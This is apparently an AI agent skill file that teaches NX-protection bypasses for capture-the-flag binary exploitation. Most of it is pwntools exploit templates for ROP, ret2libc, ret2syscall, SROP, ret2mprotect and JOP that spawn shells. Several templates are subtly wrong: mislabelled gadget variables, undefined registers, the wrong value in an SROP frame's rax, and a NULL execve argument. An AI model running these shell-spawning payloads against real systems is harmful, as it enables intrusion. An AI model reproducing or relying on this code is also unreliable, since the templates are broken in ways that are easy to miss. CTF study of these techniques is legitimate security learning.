| name | nx-protection-bypass |
| description | Use this skill whenever analyzing binary exploitation challenges involving No-Execute (NX) protection. Trigger when the user mentions NX, non-executable stack, code-reuse attacks, ROP chains, SROP, ret2libc, ret2mprotect, or any scenario where they need to bypass execute-disable protections. This skill covers detecting NX status, understanding the protection mechanism, and implementing bypass techniques including ROP, SROP, and permission-flipping attacks. |
No-Execute (NX) Protection and Bypasses
This skill helps you analyze and bypass No-Execute (NX) protection in binary exploitation challenges. NX prevents execution of code on the stack and heap, forcing attackers to use code-reuse techniques.
When to Use This Skill
Use this skill when:
- You're analyzing a binary and need to check if NX is enabled
- You've found a buffer overflow but can't execute shellcode directly
- You need to understand what bypass options are available
- You're planning a ROP, SROP, or ret2libc attack
- You encounter NX-related errors during exploitation
Quick Detection
First, determine if NX is enabled on your target binary:
checksec --file ./vuln
readelf -W -l ./vuln | grep GNU_STACK
execstack -q ./vuln
cat /proc/<pid>/maps | grep -E "\[stack\]"
Interpretation:
NX enabled or RW permissions = stack is non-executable (you need a bypass)
NX disabled or RWE permissions = you can execute shellcode directly
Bypass Strategy Selection
Choose your bypass technique based on what's available:
| Technique | When to Use | Requirements |
|---|
| ROP | Most common case | ret gadgets in binary/libc |
| Ret2libc | Binary imports system/execve | Known libc addresses |
| Ret2syscall | No libc imports | Syscall numbers, register control |
| SROP | Limited gadgets, single syscall; ret | Info leak for libc base |
| Ret2mprotect | Need to run shellcode | mprotect in libc, writable page |
| JOP/COP | CET/IBT hardened, no ret gadgets | jmp [reg] or call [reg] gadgets |
Core Bypass Techniques
1. Return-Oriented Programming (ROP)
ROP chains reuse existing code snippets (gadgets) ending in ret to perform arbitrary operations without injecting executable code.
Basic workflow:
- Find gadgets using
ropper or radare2
- Leak a libc/code address to resolve bases
- Chain gadgets to set up registers
- Call
system("/bin/sh") or equivalent
Example with pwntools:
from pwn import *
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
pop_rdi = next(elf.search(b'pop rdi; ret'))
ret2win = next(elf.search(b'pop rsi; ret'))
rop = ROP(elf)
rop.ret2win()
rop.ret2win()
rop = ROP(libc)
rop.system(next(libc.search(b'/bin/sh')))
2. Ret2libc
When the binary imports system and execve, you can directly call them from libc.
Requirements:
- Binary must import
system (check with nm -D ./vuln | grep system)
- Need libc base address (via info leak or hardcoded for local testing)
Template:
from pwn import *
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
system_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh'))
payload = flat([
'A' * offset,
pop_rdi,
binsh_addr,
system_addr
])
sendline(payload)
3. Ret2syscall
When libc functions aren't available, use syscalls directly.
Common syscalls:
__NR_execve (59 on x64, 11 on x86) - execute program
__NR_mprotect (10 on x64, 125 on x86) - change memory permissions
__NR_rt_sigreturn (15 on x64, 138 on x86) - for SROP
Template for execve:
from pwn import *
rax = 59
rdi = 0
rsi = 0
rdx = 0
pop_rax = next(elf.search(b'pop rax; ret'))
pop_rdi = next(elf.search(b'pop rdi; ret'))
syscall_ret = next(elf.search(b'\x0f\x05\xc3'))
payload = flat([
pop_rax, rax,
pop_rdi, rdi,
pop_rsi, rsi,
pop_rdx, rdx,
syscall_ret
])
4. Sigreturn Oriented Programming (SROP)
SROP creates a fake signal frame and calls sys_rt_sigreturn to restore arbitrary register state.
When to use:
- Only one
syscall; ret gadget available
- Need full register control
- Recent CTF challenges often feature this
Basic concept:
- Build fake
sigframe structure on writable memory
- Set all registers to desired values in the frame
- Call
sys_rt_sigreturn (syscall 15 on x64)
- Kernel "restores" your fake context
Template:
from pwn import *
sigframe = SigreturnFrame(elf)
sigframe.rax = 0x1000
sigframe.rdi = 0x404000
sigframe.rsi = 0x1000
sigframe.rdx = 7
sigframe.rip = 0x404000
syscall_ret = next(elf.search(b'\x0f\x05\xc3'))
payload = flat([
'A' * offset,
syscall_ret,
bytes(sigframe)
])
5. Ret2mprotect
Use mprotect to make a writable page executable, then run shellcode.
Template:
from pwn import *
from pwn import shellcraft
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
mprotect_addr = libc.symbols['mprotect']
bss_addr = elf.bss() & ~(0x1000 - 1)
rop = ROP(libc)
rop.mprotect(bss_addr, 0x1000, 7)
payload = flat([
'A' * offset,
rop.chain(),
asm(shellcraft.sh())
])
sendline(payload)
6. Jump/Call-Oriented Programming (JOP/COP)
When ret instructions are blocked (CET/IBT), use indirect jumps or calls.
Gadget patterns to find:
jmp [rax] - jump to address in rax
call [rdi] - call address in rdi
jmp [rdx + 0x10] - jump to address in rdx + offset
Template:
from pwn import *
jmp_rax = next(elf.search(b'\xff\xe0'))
jmp_rdi = next(elf.search(b'\xff\xe7'))
payload = flat([
'A' * offset,
jmp_rax,
next_gadget_addr,
])
Common Pitfalls
- Address randomization (ASLR): Always leak an address first to calculate libc base
- Stack alignment: Some libc functions require 16-byte stack alignment
- Canaries: Check for stack canaries with
checksec and bypass them first
- PIE binaries: If PIE is enabled, you need to leak the binary base too
- Gadget availability: Not all binaries have useful gadgets - check with
ropper
Debugging Tips
gdb ./vuln
context
pi pwn
info proc mappings
set follow-fork-mode child
run
Related Skills
- ROP chains: See the ROP skill for detailed gadget finding and chain construction
- Ret2libc: See the ret2libc skill for libc function exploitation
- SROP: See the SROP skill for signal frame exploitation
- Info leaks: See the info-leak skill for address disclosure techniques
References